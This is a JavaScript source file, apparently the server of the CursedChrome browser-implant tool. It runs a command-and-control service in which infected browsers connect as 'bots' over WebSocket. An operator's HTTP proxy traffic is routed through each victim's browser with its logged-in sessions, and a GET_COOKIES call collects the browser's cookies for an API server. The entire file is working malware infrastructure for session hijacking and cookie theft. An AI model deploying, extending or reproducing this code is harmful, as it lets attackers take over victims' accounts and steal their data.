Files
mandatoryprogrammer-CursedC…/server.js
T
mandatory e7e9c1a192 MV3 baby
2024-10-26 14:41:45 -04:00

655 lines
21 KiB
JavaScript

const NodeCache = require("node-cache");
const AnyProxy = require('./anyproxy');
const cluster = require('cluster');
const WebSocket = require('ws');
const https = require('https');
const redis = require("redis");
const http = require('http');
const uuid = require('uuid');
const util = require('util');
const fs = require('fs');
const database = require('./database.js');
const database_init = database.database_init;
const Users = database.Users;
const Bots = database.Bots;
const sequelize = database.sequelize;
const Sequelize = require('sequelize');
const Op = Sequelize.Op;
const get_secure_random_string = require('./utils.js').get_secure_random_string;
const logit = require('./utils.js').logit;
const get_api_server = require('./api-server.js').get_api_server;
const numCPUs = require('os').cpus().length;
/*
TODO: We need to have a garbage collector for subscriptions
to the `TOPROXY_{{browser_id}}` topics in redis. Likely just
having a timeout since last request received would be reasonable
enough.
*/
const PROXY_PORT = process.env.PROXY_PORT || 8080;
const WS_PORT = process.env.WS_PORT || 4343;
const API_SERVER_PORT = process.env.API_SERVER_PORT || 8118;
const SERVER_VERSION = '1.0.1';
const RPC_CALL_TABLE = {
'PING': ping,
}
const REQUEST_TABLE = new NodeCache({
'stdTTL': 30, // Default second(s) till the entry is removed.
'checkperiod': 5, // How often table is checked and cleaned up.
'useClones': false, // Whether to clone JavaScript variables stored here.
});
async function ping(websocket_connection, params) {
// Update bot as online
const bot = await Bots.findOne({
where: {
browser_id: websocket_connection.browser_id
}
});
if (!bot) {
websocket_connection.send(
JSON.stringify({
'id': uuid.v4(),
'version': SERVER_VERSION,
'action': 'RESET',
'data': {}
})
)
return
}
await bot.update({
is_online: true,
});
// Send PONG message back
websocket_connection.send(
JSON.stringify({
'id': uuid.v4(),
'version': SERVER_VERSION,
'action': 'PONG',
'data': {}
})
)
}
function get_browser_proxy(input_browser_id) {
for (var it = wss.clients.values(), val = null; current_ws_client = it.next().value;) {
if (current_ws_client.browser_id === input_browser_id) {
return current_ws_client;
}
}
throw 'No browser found that matches those credentials!';
return false;
}
function authenticate_client(websocket_connection) {
return new Promise(function (resolve, reject) {
// For timeout, will reject if no response in 30 seconds.
setTimeout(function () {
reject(`A timeout occurred when authenticating WebSocket client.`);
}, (30 * 1000));
const message_id = uuid.v4();
const auth_rpc_message = {
'id': message_id,
'version': '1.0.0',
'action': 'AUTH',
'data': {}
}
// Add promise resolve to message table
// that way the promise is resolved when
// we get a response for our HTTP request
// RPC message.
REQUEST_TABLE.set(
message_id,
resolve
);
// Send auth RPC message
websocket_connection.send(JSON.stringify(auth_rpc_message));
});
}
function get_browser_cookie_array(browser_id) {
return new Promise(function (resolve, reject) {
// For timeout, will reject if no response in 30 seconds.
setTimeout(function () {
reject(`Get cookies RPC called timed out.`);
}, (30 * 1000));
const message_id = uuid.v4();
var message = {
'id': message_id,
'version': SERVER_VERSION,
'action': 'GET_COOKIES',
'data': {}
}
// Add promise resolve to message table
// that way the promise is resolved when
// we get a response for our HTTP request
// RPC message.
REQUEST_TABLE.set(
message_id,
resolve
)
// Subscribe to the proxy redis topic to get the
// response when it comes
const subscription_id = `TOPROXY_${browser_id}`;
subscriber.subscribe(subscription_id);
// Send the HTTP request RPC message to the browser
publisher.publish(
`TOBROWSER_${browser_id}`,
JSON.stringify(
message
)
);
});
}
function send_request_via_browser(browser_id, authenticated, url, method, headers, body) {
return new Promise(function (resolve, reject) {
// For timeout, will reject if no response in 30 seconds.
setTimeout(function () {
reject(`Request Timed Out for URL ${url}!`);
}, (30 * 1000));
const message_id = uuid.v4();
var message = {
'id': message_id,
'version': SERVER_VERSION,
'action': 'HTTP_REQUEST',
'data': {
'url': url,
'method': method,
'headers': headers,
'body': body,
'authenticated': authenticated
}
}
// Add promise resolve to message table
// that way the promise is resolved when
// we get a response for our HTTP request
// RPC message.
REQUEST_TABLE.set(
message_id,
resolve
)
// Subscribe to the proxy redis topic to get the
// response when it comes
const subscription_id = `TOPROXY_${browser_id}`;
subscriber.subscribe(subscription_id);
// Send the HTTP request RPC message to the browser
publisher.publish(
`TOBROWSER_${browser_id}`,
JSON.stringify(
message
)
);
});
}
function caseinsen_get_value_by_key(input_object, input_key) {
const object_keys = Object.keys(input_object);
var matching_value = undefined;
object_keys.map(object_key => {
if (object_key.toLowerCase() === input_key.toLowerCase()) {
matching_value = input_object[object_key];
}
});
return matching_value;
}
const AUTHENTICATION_REQUIRED_PROXY_RESPONSE = {
response: {
statusCode: 407,
header: {
'Proxy-Authenticate': 'Basic realm="Please provide your credentials."'
},
body: 'Provide credentials.'
}
};
async function get_authentication_status(inputRequestDetail) {
const proxy_authentication = caseinsen_get_value_by_key(
inputRequestDetail,
'Proxy-Authorization'
);
if (!proxy_authentication || !(proxy_authentication.includes('Basic'))) {
logit(`No proxy credentials provided!`);
console.log(proxy_authentication);
return false;
}
const proxy_auth_string = (
new Buffer(
proxy_authentication.replace(
'Basic ',
''
).trim(),
'base64'
)
).toString();
const proxy_auth_string_parts = proxy_auth_string.split(':');
const username = proxy_auth_string_parts[0];
const password = proxy_auth_string_parts[1];
const memory_cache_key = `${username}:${password}`;
// If we already have this cached we can stop here.
const credential_data_string = await getAsync(memory_cache_key);
if (credential_data_string) {
const cached_record = JSON.parse(credential_data_string);
return {
'id': cached_record.id,
'browser_id': cached_record.browser_id,
'is_authenticated': cached_record.is_authenticated,
'name': cached_record.name,
};
}
// Kick both queries off at the same time for slightly improved speed.
var browserproxy_record = await Bots.findOne({
where: {
proxy_username: username,
proxy_password: password
}
});
if (!browserproxy_record) {
logit(`Invalid credentials for username '${username}'!`);
return false;
}
// No need to wait for this to resolve
await setexAsync(
memory_cache_key,
(60 * 10),
JSON.stringify(browserproxy_record),
);
return {
'id': browserproxy_record.id,
'browser_id': browserproxy_record.browser_id,
'is_authenticated': browserproxy_record.is_authenticated,
'name': browserproxy_record.name,
};
}
const options = {
port: PROXY_PORT,
rule: {
async beforeSendRequest(requestDetail) {
const remote_address = requestDetail._req.connection.remoteAddress;
const auth_details = await get_authentication_status(requestDetail.requestOptions.headers);
if (!auth_details) {
logit(`[${remote_address}] Request denied for URL ${requestDetail.url}, no authentication information provided in proxy HTTP request!`);
return AUTHENTICATION_REQUIRED_PROXY_RESPONSE;
}
// Send base64-encoded body if there's any data to
// send, otherwise set it to false.
const body = (
requestDetail.requestData.length > 0
) ? requestDetail.requestData.toString('base64') : false;
logit(`[${auth_details.id}][${auth_details.name}] Proxying request ${requestDetail._req.method} ${requestDetail.url}`);
const response = await send_request_via_browser(
auth_details.browser_id,
true,
requestDetail.url,
requestDetail.requestOptions.method,
requestDetail.requestOptions.headers,
body
);
// For connection errors
if (!response) {
logit(`[${auth_details.id}][${auth_details.name}] A connection error occurred while requesting ${requestDetail._req.method} ${requestDetail.url}`);
return {
response: {
statusCode: 503,
header: {
'Content-Type': 'text/plain',
'X-Frame-Options': 'DENY'
},
body: (new Buffer(`CursedChrome encountered an error while requesting the page.`))
}
};
}
logit(`[${auth_details.id}][${auth_details.name}] Got response ${response.status} ${requestDetail.url}`);
let encoded_body_buffer = new Buffer(response.body, 'base64');
let decoded_body = encoded_body_buffer.toString('ascii');
if ('content-encoding' in response.headers) {
delete response.headers['content-encoding'];
}
return {
response: {
statusCode: response.status,
header: response.headers,
body: encoded_body_buffer
}
};
},
},
webInterface: {
enable: false,
webPort: 8002
},
//throttle: 10000,
forceProxyHttps: true,
wsIntercept: false,
silent: !(process.env.DEBUGGING === "yes")
};
async function initialize_new_browser_connection(ws) {
logit(`Authenticating newly-connected browser...`);
// Authenticate the newly-connected client.
const auth_result = await authenticate_client(ws);
const browser_id = auth_result.browser_id;
const user_agent = auth_result.user_agent;
// Set the browser ID on the WebSocket connection object
ws.browser_id = browser_id;
// Set up a subscription in redis for when we get a new
// HTTP proxy request that we need to send to the browser
// connected to use via WebSocket.
subscriber.subscribe(`TOBROWSER_${browser_id}`);
// Check the database to see if we already have this browser
// Recorded in the DB.
var browserproxy_record = await Bots.findOne({
where: {
browser_id: browser_id
}
});
if (browserproxy_record === null) {
/*
If the browser has no Bots in the database then we'll
create a default one which is authenticated and unscoped.
This is to make the user's first use experience much easier so
they can easily try out the functionality.
*/
logit(`Browser ID ${browser_id} is not already registered. Creating new credentials for it...`);
const new_username = `botuser${get_secure_random_string(8)}`;
const new_password = get_secure_random_string(18);
const new_browserproxy = await Bots.create({
'id': uuid.v4(),
'name': 'Untitled Bot',
'browser_id': browser_id,
'proxy_username': new_username,
'proxy_password': new_password,
'is_authenticated': true,
'is_online': true,
'user_agent': user_agent
});
} else {
// Update all browserproxy records to reflect that all these proxies are
// now online.
browserproxy_record.is_online = true;
browserproxy_record.user_agent = user_agent;
await browserproxy_record.save();
}
}
function heartbeat() {
this.isAlive = true;
}
var wss = undefined;
var proxyServer = undefined;
var redis_client = undefined;
var subscriber = undefined;
var publisher = undefined;
async function initialize() {
// Used for distributing the TCP connection workload across
// multiple servers which use one redis instance as the core
// pubsub system.
redis_client = redis.createClient({
"host": process.env.REDIS_HOST,
});
redis_client.on("error", function (error) {
logit(`Redis client encountered an error:`);
console.error(error);
});
subscriber = redis.createClient({
"host": process.env.REDIS_HOST,
});
publisher = redis.createClient({
"host": process.env.REDIS_HOST,
});
// Promisify Node redis calls, these are intentionally global
getAsync = util.promisify(redis_client.get).bind(redis_client);
setexAsync = util.promisify(redis_client.setex).bind(redis_client);
delAsync = util.promisify(redis_client.del).bind(redis_client);
// Called when a new redis subscription is added
subscriber.on("subscribe", function (channel, count) {
//logit(`New subscription created for channel ${channel}, bring total to ${count}.`);
});
// Called when a new message is written to a channel
subscriber.on("message", function (channel, message) {
//logit(`Received a new message at channel '${channel}', message is '${message}'`);
// For messages being sent to the browser from the proxy
if (channel.startsWith('TOBROWSER_')) {
const browser_id = channel.replace('TOBROWSER_', '');
const browser_websocket = get_browser_proxy(browser_id);
browser_websocket.send(message);
return
}
// For messages being sent back to the proxy from the browser
if (channel.startsWith('TOPROXY_')) {
const browser_id = channel.replace('TOPROXY_', '');
try {
var inbound_message = JSON.parse(
message
);
} catch (e) {
logit(`Error parsing message received from browser:`);
logit(`Message: ${message}`);
logit(`Exception: ${e}`);
}
// Check if it's an action we recognize.
if (inbound_message.action in RPC_CALL_TABLE) {
RPC_CALL_TABLE[inbound_message.action](browser_id, inbound_message.data);
return
}
// Check if we're tracking this response
if (REQUEST_TABLE.has(inbound_message.id)) {
//logit(`Resolving function for message ID ${inbound_message.id}...`);
const resolve = REQUEST_TABLE.take(inbound_message.id);
resolve(inbound_message.result);
}
return
}
});
// Build HTTP server first and pass to WS server
// This is a forward-looking change so versioning doesn't
// become a clusterfuck with addon tools for the server.
const http_server = http.createServer(function (req, res) {
res.writeHead(200, {
'Content-Type': 'text/plain',
'CC-Server-Version': SERVER_VERSION,
});
res.write('');
res.end();
}).listen(WS_PORT);
wss = new WebSocket.Server({
server: http_server
// port: WS_PORT
});
wss.on('connection', async function connection(ws) {
logit(`A new browser has connected to us via WebSocket!`);
ws.isAlive = true;
ws.on('close', async () => {
// Only do this if there's a valid browser ID for
// the WebSocket which has died.
if (ws.browser_id) {
logit(`WebSocket browser ${ws.browser_id} has disconnected.`);
// Unsubscribe from the browser topic since we can no longer send
// any messages to the browser anymore
subscriber.unsubscribe(`TOBROWSER_${ws.browser_id}`);
// Update browserproxy record to reflect being offline
var browserproxy_record = await Bots.findOne({
where: {
browser_id: ws.browser_id
}
});
browserproxy_record.is_online = false;
await browserproxy_record.save();
} else {
logit(`Unauthenticated WebSocket has disconnected from us.`);
}
});
ws.on('pong', heartbeat);
ws.on('message', function incoming(message) {
try {
var inbound_message = JSON.parse(
message
);
} catch (e) {
logit(`Error parsing message received from browser:`);
logit(`Message: ${message}`);
logit(`Exception: ${e}`);
}
// As a special case, if this is the result
// from an authentication request, we'll process it.
if (inbound_message.origin_action === 'AUTH') {
// Check if we're tracking this response
if (REQUEST_TABLE.has(inbound_message.id)) {
//logit(`Resolving function for message ID ${inbound_message.id}...`)
const resolve = REQUEST_TABLE.take(inbound_message.id);
resolve(inbound_message.result);
}
return
} else if (inbound_message.action === 'PING') {
ping(ws);
} else if (ws.browser_id) {
// Write to redis proxy topic with the response from the
// websocket connection.
publisher.publish(`TOPROXY_${ws.browser_id}`, message);
} else {
logit(`Wat, this shouldn't happen? Orphaned message (somebody might be probing you!):`);
logit(message);
}
});
await initialize_new_browser_connection(ws);
});
wss.on('ready', () => {
logit(`CursedChrome WebSocket server is now running on port ${WS_PORT}.`)
});
proxyServer = new AnyProxy.ProxyServer(options);
proxyServer.on('ready', () => {
logit(`CursedChrome HTTP Proxy server is now running on port ${PROXY_PORT}.`)
});
proxyServer.on('error', (e) => {
logit(`CursedChrome HTTP Proxy server encountered an unexpected error:`);
console.error(e);
});
logit(`Starting the WebSocket server...`);
logit(`Starting the HTTP proxy server...`)
proxyServer.start();
logit(`Starting API server...`);
const proxy_utils = {
'get_browser_cookie_array': get_browser_cookie_array
};
// Start the API server
const api_server = await get_api_server(proxy_utils);
api_server.listen(API_SERVER_PORT, () => {
logit(`CursedChrome API server is now listening on port ${API_SERVER_PORT}`);
});
}
(async () => {
// If we're the master process spin up workers
// If we're the worker processes, get to work!
if (cluster.isMaster) {
logit(`Master ${process.pid} is running`);
logit(`Initializing the database connection...`);
await database_init();
// Fork workers.
for (let i = 0; i < numCPUs; i++) {
cluster.fork();
}
cluster.on('exit', (worker, code, signal) => {
logit(`worker ${worker.process.pid} died`);
});
} else {
// Start worker
initialize();
logit(`Worker ${process.pid} started`);
}
})();